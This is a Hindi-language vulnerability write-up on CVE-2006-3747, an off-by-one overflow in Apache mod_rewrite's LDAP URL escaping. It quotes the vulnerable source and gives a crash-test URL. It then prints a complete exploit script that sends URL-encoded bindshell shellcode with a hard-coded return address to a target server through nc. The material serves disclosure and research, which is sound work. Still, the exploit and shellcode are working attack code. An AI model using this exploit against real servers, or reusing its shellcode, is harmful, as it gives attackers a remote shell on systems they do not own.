
CVE-2006-3747 के लिए सार्वजनिक कार्यशील एक्सप्लॉइट और विस्तृत विश्लेषण, जो Apache mod_rewrite LDAP off-by-one बफर ओवरफ्लो भेद्यता है, जिसमें proof-of-concept और shellcode शामिल हैं।
यह फ़ाइलें मेरी बगट्रैक प्रकाशन और CVE-2006-3747 (Apache mod_rewrite LDAP ऑफ-बाय-वन बफर ओवरफ़्लो) के लिए पहले कार्यशील एक्सप्लॉइट के बारे में हैं।
(http://www.securityfocus.com/archive/1/443870)
28 जुलाई 2006 को Mark Dowd (McAfee Avert Labs) ने bugtraq मेलिंग सूची में mod_rewrite apache मॉड्यूल में पाई गई एक भेद्यता की सूचना दी। कमजोर फ़ंक्शन escape_absolute_uri() है और समस्या केवल तब उत्पन्न हो सकती है जब mod_rewrite एक LDAP URL से निपट रहा हो, एक दुर्भावनापूर्ण LDAP URL कुछ (विशेष) स्थितियों में ऑफ-बाय-वन ओवरफ़्लो को ट्रिगर कर सकता है और एक संभावित हमलावर apache उपयोगकर्ता के विशेषाधिकारों के साथ सेवा-अस्वीकार या मनमाना कोड निष्पादित कर सकता है। इस भेद्यता का शोषण करने के लिए LDAP-विशिष्ट नियम की आवश्यकता नहीं है, लेकिन एक ऐसा नियम होना चाहिए जिसमें उपयोगकर्ता पुनर्मैप किए गए URL के प्रारंभिक भाग को नियंत्रित कर सके, जैसे:
RewriteRule foo/(.*) $1
Apache HTTP सर्वर का कोई भी संस्करण:
2696 /* escape absolute uri, which may or may not be path oriented.
2697 * So let's handle them differently.
2698 */
2699 static char *escape_absolute_uri(ap_pool *p, char *uri,
unsigned scheme)
2700 {
2701 char *cp;
2702 ...
...
2727 /* special thing for ldap.
2728 * The parts are separated by question marks. From RFC 2255:
2729 * ldapurl = scheme "://" [hostport] ["/"
2730 * [dn ["?" [attributes] ["?" [scope]
2731 * ["?" [filter] ["?" extensions]]]]]]
2732 */
2733 if (!strncasecmp(uri, "ldap", 4)) {
2734 char *token[5];
2735 int c = 0;
2736
2737 token[0] = cp = ap_pstrdup(p, cp);
2738 while (*cp && c < 5) {
2739 if (*cp == '?') {
2740 token[++c] = cp + 1;
2741 *cp = '\0';
2742 }
2743 ++cp;
2744 }
यदि कोई LDAP URI पाँचवाँ '?' रखता है तो पंक्ति 2740 एक ऑफ-बाय-वन ओवरफ़्लो का कारण बनती है, यह token[5] में लिख रही है। इस समस्या का शोषण करने के लिए एक कमजोर apache संस्करण और एक विशिष्ट स्टैक फ्रेम लेआउट आवश्यक है।
यह जानने के लिए कि क्या आपका apache कमजोर संस्करण सफलतापूर्वक शोषित किया जा सकता है, अपनी httpd.conf या .htaccess फ़ाइल में यह नियम लिखें:
RewriteRule kung/(.*) $1
और निम्न URL तक पहुँचने का प्रयास करें:
/kung/ldap://localhost/AAAAAAAAAAAAAAAAAAAAA%3FAAAAAAAAAAAAA%
3FAAAAAAAAAAAAAAA%3FAAAAAAAAAA%3FAAAAAAAAAA%3FBBBBBBBBBBBBBB
यदि आपका वेब सर्वर आपको '302 Found' पृष्ठ के साथ उत्तर नहीं देता है या आपकी error_log में Segmentation Fault दिखाई देता है, तो एक apache चाइल्ड क्रैश हो गया है और आपका वेब सर्वर कमजोर और शोषण योग्य है।
यह एक्सप्लॉइट Apache 1.3.34, debian sarge पैकेज पर सफलतापूर्वक निष्पादित किया गया था:
#!/bin/sh
# Exploit for Apache mod_rewrite off-by-one.
# Vulnerability discovered by Mark Dowd.
# CVE-2006-3747
#
# by jack <jack\x40gulcas\x2Eorg>
# 2006-08-20
#
# Thx to xuso for help me with the shellcode.
#
# I suppose that you've the "RewriteRule kung/(.*) $1" rule if not
# you must recalculate adressess.
#
# Shellcode is based on Taeho Oh bindshell on port 30464 and modified
# for avoiding apache url-escape.. Take a look is quite nice ;)
#
# Shellcode address in heap memory on apache 1.3.34 (debian sarge) is at
# 0x0834ae77 for any other version/system find it.
#
# Gulcas rulez :P
echo -e "mod_rewrite apache off-by-one overflow\nby jack <jack\x40gulcas
\x2eorg>\n\n"
if [ $# -ne 1 ] ; then
echo "Usage: $0 webserver"
exit
fi
host=$1
echo -ne "GET /kung/ldap://localhost/`perl -e 'print "%90"x128'`%89%e6%
31%c0%31 %db%89%f1%b0%02%89%06%b0%01%89%46%04%b0%06%89%46%08%b0%66%b3%
01%cd%80%89%06%b0%02%66%89%46%0c%b0%77%66%89%46%0e%8d%46%0c%89%46%04%
31%c0%89%46%10%b0%10%89%46%08% b0%66%b3%02%cd%80%b0%01%89%46%04%b0%66%
b3%04%cd%80%31%c0%89%46%04%89%46%08%b0%66%b3%05%cd%80%88%c3%b0%3f%31%
c9%cd%80%b0%3f%b1%01%cd%80%b0%3f%b1%02%cd%80%b8%23%62%69%6e%89%06%b8%
23%73%68%23%89%46%04%31%c0%88%46%07%b0%30%2c%01%88%46%04%88%06%89%76%
08%31%c0%89%46%0c%b0%0b%89%f3%8d%4e%08%8d%56%0c%cd%80%31%c0%b0%01%31%db%
cd %80%3FC%3FC%3FCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC%
77%ae%34%08CCCCCCCCCCCCCCCCCCCCCCCCCCC%3FC%3F HTTP/1.1\r\nHost:
$host\r\n\r\n" | nc $host 80
~~ Jacobo Avariento Gimeno